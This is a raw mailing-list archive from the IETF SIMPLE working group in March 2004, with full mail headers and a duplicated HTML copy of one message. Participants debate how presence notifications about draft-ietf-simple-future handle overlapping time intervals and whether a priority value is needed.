User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com> <40435205.1040007@dynamicsoft.com> <4044163D.8090302@cisco.com>
In-Reply-To: <4044163D.8090302@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:03:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

It is quite common that calendars have overlapping appointments, due to 
user error, intent to leave early or optimism that one appointment will 
end earlier as scheduled. I don't see how a PA can resolve what a human 
cannot or chose not to.

Paul Kyzivat wrote:

>> I suppose we could just mandate that the PA only generate 
>> notifications with non-overlapping intervals. This forces the PA to do 
>> any kind of precedence computations. I think the PA is the only one 
>> that can do it.
> 
> 
> Your example of overlapping time ranges for orthogonal attributes is a 
> good one. I don't think we would want to forbid that.
> 
> But maybe we could forbid overlapping time ranges containing an instance 
> of the same element.
> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 00:18:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02050
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 00:18:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOli-0003wG-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:18:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOkr-0003oE-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:17:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOjz-0003fX-00; Wed, 03 Mar 2004 00:16:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOji-0005HM-Uu; Wed, 03 Mar 2004 00:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOj3-0004ti-24
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:15:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01887
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:15:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOj0-0003Vj-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:15:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOi5-0003M1-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:14:22 -0500
Received: from [47.81.138.65] (helo=zsc3s004.nortelnetworks.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOhB-00034q-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:13:25 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zsc3s004.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i235CJT05122;
	Tue, 2 Mar 2004 21:12:20 -0800 (PST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PVK6>; Tue, 2 Mar 2004 23:12:20 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG
	 <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400DE.170CFE66"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 23:12:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400DE.170CFE66
Content-Type: text/plain;
	charset="iso-8859-1"

I would agree with Henning on this. However, this does give rise to
non-deterministic information. What would the renderer of this information
wind up showing? In the case of overlapping statuses, do we need to provide
the ability (but not necessarily the requirement that it be used) to put
something of a Q value along with the status. If no Q value is provided, the
render can do whatever it wants... display everything, the first one, the
last one, or whatever (because there's no indication as to which one is
"better" than the other).

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:03 PM
To: Paul Kyzivat
Cc: Jonathan Rosenberg; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


It is quite common that calendars have overlapping appointments, due to 
user error, intent to leave early or optimism that one appointment will 
end earlier as scheduled. I don't see how a PA can resolve what a human 
cannot or chose not to.

Paul Kyzivat wrote:

>> I suppose we could just mandate that the PA only generate 
>> notifications with non-overlapping intervals. This forces the PA to do 
>> any kind of precedence computations. I think the PA is the only one 
>> that can do it.
> 
> 
> Your example of overlapping time ranges for orthogonal attributes is a 
> good one. I don't think we would want to forbid that.
> 
> But maybe we could forbid overlapping time ranges containing an instance 
> of the same element.
> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_001_01C400DE.170CFE66
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I would agree with Henning on this. However, this =
does give rise to non-deterministic information. What would the =
renderer of this information wind up showing? In the case of =
overlapping statuses, do we need to provide the ability (but not =
necessarily the requirement that it be used) to put something of a Q =
value along with the status. If no Q value is provided, the render can =
do whatever it wants... display everything, the first one, the last =
one, or whatever (because there's no indication as to which one is =
&quot;better&quot; than the other).</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:03 PM</FONT>
<BR><FONT SIZE=3D2>To: Paul Kyzivat</FONT>
<BR><FONT SIZE=3D2>Cc: Jonathan Rosenberg; Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>It is quite common that calendars have overlapping =
appointments, due to </FONT>
<BR><FONT SIZE=3D2>user error, intent to leave early or optimism that =
one appointment will </FONT>
<BR><FONT SIZE=3D2>end earlier as scheduled. I don't see how a PA can =
resolve what a human </FONT>
<BR><FONT SIZE=3D2>cannot or chose not to.</FONT>
</P>

<P><FONT SIZE=3D2>Paul Kyzivat wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&gt; I suppose we could just mandate that the PA =
only generate </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; notifications with non-overlapping =
intervals. This forces the PA to do </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; any kind of precedence computations. I =
think the PA is the only one </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; that can do it.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Your example of overlapping time ranges for =
orthogonal attributes is a </FONT>
<BR><FONT SIZE=3D2>&gt; good one. I don't think we would want to forbid =
that.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; But maybe we could forbid overlapping time =
ranges containing an instance </FONT>
<BR><FONT SIZE=3D2>&gt; of the same element.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Paul</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; Simple mailing list</FONT>
<BR><FONT SIZE=3D2>&gt; Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>
<BR>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>Simple mailing list</FONT>
<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400DE.170CFE66--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 00:18:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02127
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 00:18:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOlm-0005lw-T7
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 00:18:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i235IAmp022182
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 00:18:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOlm-0005lh-Op
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 00:18:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02069
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 00:18:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOlk-0003wU-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:18:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOks-0003oN-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:17:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOjz-0003fX-00; Wed, 03 Mar 2004 00:16:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOji-0005HM-Uu; Wed, 03 Mar 2004 00:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOj3-0004ti-24
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:15:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01887
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:15:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOj0-0003Vj-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:15:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOi5-0003M1-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:14:22 -0500
Received: from [47.81.138.65] (helo=zsc3s004.nortelnetworks.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOhB-00034q-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:13:25 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zsc3s004.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i235CJT05122;
	Tue, 2 Mar 2004 21:12:20 -0800 (PST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PVK6>; Tue, 2 Mar 2004 23:12:20 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG
	 <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400DE.170CFE66"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 23:12:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400DE.170CFE66
Content-Type: text/plain;
	charset="iso-8859-1"

I would agree with Henning on this. However, this does give rise to
non-deterministic information. What would the renderer of this information
wind up showing? In the case of overlapping statuses, do we need to provide
the ability (but not necessarily the requirement that it be used) to put
something of a Q value along with the status. If no Q value is provided, the
render can do whatever it wants... display everything, the first one, the
last one, or whatever (because there's no indication as to which one is
"better" than the other).

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:03 PM
To: Paul Kyzivat
Cc: Jonathan Rosenberg; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


It is quite common that calendars have overlapping appointments, due to 
user error, intent to leave early or optimism that one appointment will 
end earlier as scheduled. I don't see how a PA can resolve what a human 
cannot or chose not to.

Paul Kyzivat wrote:

>> I suppose we could just mandate that the PA only generate 
>> notifications with non-overlapping intervals. This forces the PA to do 
>> any kind of precedence computations. I think the PA is the only one 
>> that can do it.
> 
> 
> Your example of overlapping time ranges for orthogonal attributes is a 
> good one. I don't think we would want to forbid that.
> 
> But maybe we could forbid overlapping time ranges containing an instance 
> of the same element.
> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_001_01C400DE.170CFE66
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I would agree with Henning on this. However, this =
does give rise to non-deterministic information. What would the =
renderer of this information wind up showing? In the case of =
overlapping statuses, do we need to provide the ability (but not =
necessarily the requirement that it be used) to put something of a Q =
value along with the status. If no Q value is provided, the render can =
do whatever it wants... display everything, the first one, the last =
one, or whatever (because there's no indication as to which one is =
&quot;better&quot; than the other).</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:03 PM</FONT>
<BR><FONT SIZE=3D2>To: Paul Kyzivat</FONT>
<BR><FONT SIZE=3D2>Cc: Jonathan Rosenberg; Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>It is quite common that calendars have overlapping =
appointments, due to </FONT>
<BR><FONT SIZE=3D2>user error, intent to leave early or optimism that =
one appointment will </FONT>
<BR><FONT SIZE=3D2>end earlier as scheduled. I don't see how a PA can =
resolve what a human </FONT>
<BR><FONT SIZE=3D2>cannot or chose not to.</FONT>
</P>

<P><FONT SIZE=3D2>Paul Kyzivat wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&gt; I suppose we could just mandate that the PA =
only generate </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; notifications with non-overlapping =
intervals. This forces the PA to do </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; any kind of precedence computations. I =
think the PA is the only one </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; that can do it.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Your example of overlapping time ranges for =
orthogonal attributes is a </FONT>
<BR><FONT SIZE=3D2>&gt; good one. I don't think we would want to forbid =
that.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; But maybe we could forbid overlapping time =
ranges containing an instance </FONT>
<BR><FONT SIZE=3D2>&gt; of the same element.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Paul</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; Simple mailing list</FONT>
<BR><FONT SIZE=3D2>&gt; Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>
<BR>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>Simple mailing list</FONT>
<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400DE.170CFE66--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 00:57:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03967
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 00:57:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPO1-0002H6-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:57:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPLW-0001gY-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:55:07 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPKU-0001RE-00; Wed, 03 Mar 2004 00:54:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyPHo-0003MH-MU; Wed, 03 Mar 2004 00:51:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPHa-0001mn-Nt; Wed, 03 Mar 2004 00:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPGh-0001RM-LJ
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:50:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03697
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:50:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPGe-00010e-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:50:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPFf-0000rA-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:49:04 -0500
Received: from brazilnut.cc.columbia.edu ([128.59.59.203] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPEg-0000bT-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:48:02 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by brazilnut.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235ljsh017610
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:47:47 -0500 (EST)
Message-ID: <40457187.5050005@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:47:51 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I'm wary of over-engineering this problem and trying to use parameters 
to deal with the messiness and uncertainties of real life. It seems like 
calendaring programs simply display all the information, possibly using 
shading or layout to indicate such overlap, and let the user figure out 
that there is indeed uncertainty. I don't see how adding a parameter 
adds more than complexity.

Brian Stucker wrote:

> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 00:58:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04110
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 00:58:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPO5-0002Yy-IX
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 00:57:45 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i235vjpU009799
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 00:57:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPO4-0002Xh-OB
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 00:57:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03966
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 00:57:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPO1-0002HQ-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:57:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPLX-0001gf-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:55:08 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPKU-0001RE-00; Wed, 03 Mar 2004 00:54:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyPHo-0003MH-MU; Wed, 03 Mar 2004 00:51:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
